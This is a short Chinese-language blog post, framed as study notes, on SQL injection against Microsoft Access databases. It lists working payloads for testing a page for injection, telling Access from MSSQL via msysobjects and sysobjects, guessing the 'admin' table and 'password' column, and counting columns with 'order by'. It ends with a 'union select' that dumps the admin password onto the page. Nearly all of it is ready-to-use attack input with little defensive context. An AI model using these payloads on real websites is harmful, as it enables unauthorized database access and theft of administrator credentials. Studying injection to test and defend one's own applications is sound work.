SQL注入之Access数据库

2018-06-05  本文已影响29人  干扰
(本文为学习笔记,介绍的Access数据库SQL注入方法建立在最理想的状态下,实际中会遇到各种问题,遇到问题百度一下)

基本知识:

注入判断:

  1. 判断注入点
    ' 错误
    and 1=1 正常
    and 1=2 错误
    满足以上条件即存在注入

  2. 判断数据库类型
    and exists (select * from msysobjects)>0
    返回正常,即可判断其为Access数据库

    and exists (select * from sysobjects)>0
    返回正常,即可判断其为MSSQL数据库

  3. 判断数据库表名
    and exists (select * from admin)
    若存在admin表,页面返回正常,反之报错

  4. 判断数据库列名
    and exists (select password from admin)
    若admin表中password列,返回正常,反之报错

  5. 判断当前页面查询字段(列)长度
    order by 7
    若返回正常,加大数值,直到返回页面错误,判断出字段长度

  6. 页面报错
    union select 1,2,3,4,5,6,7 from admin
    查询admin表,页面报错出可以查询列名的位置

  7. 数据库联合查询
    union select 1,2,3,4,password,6,7,8,9 from admin
    在页面报错位置,查询admin表中password列(字段)名,将会在页面上爆出来列(字段)信息


其他相关知识:

(有些情况下并不能直接得到想要的信息,可能会用到下面的一些方法)

上一篇 下一篇

猜你喜欢

热点阅读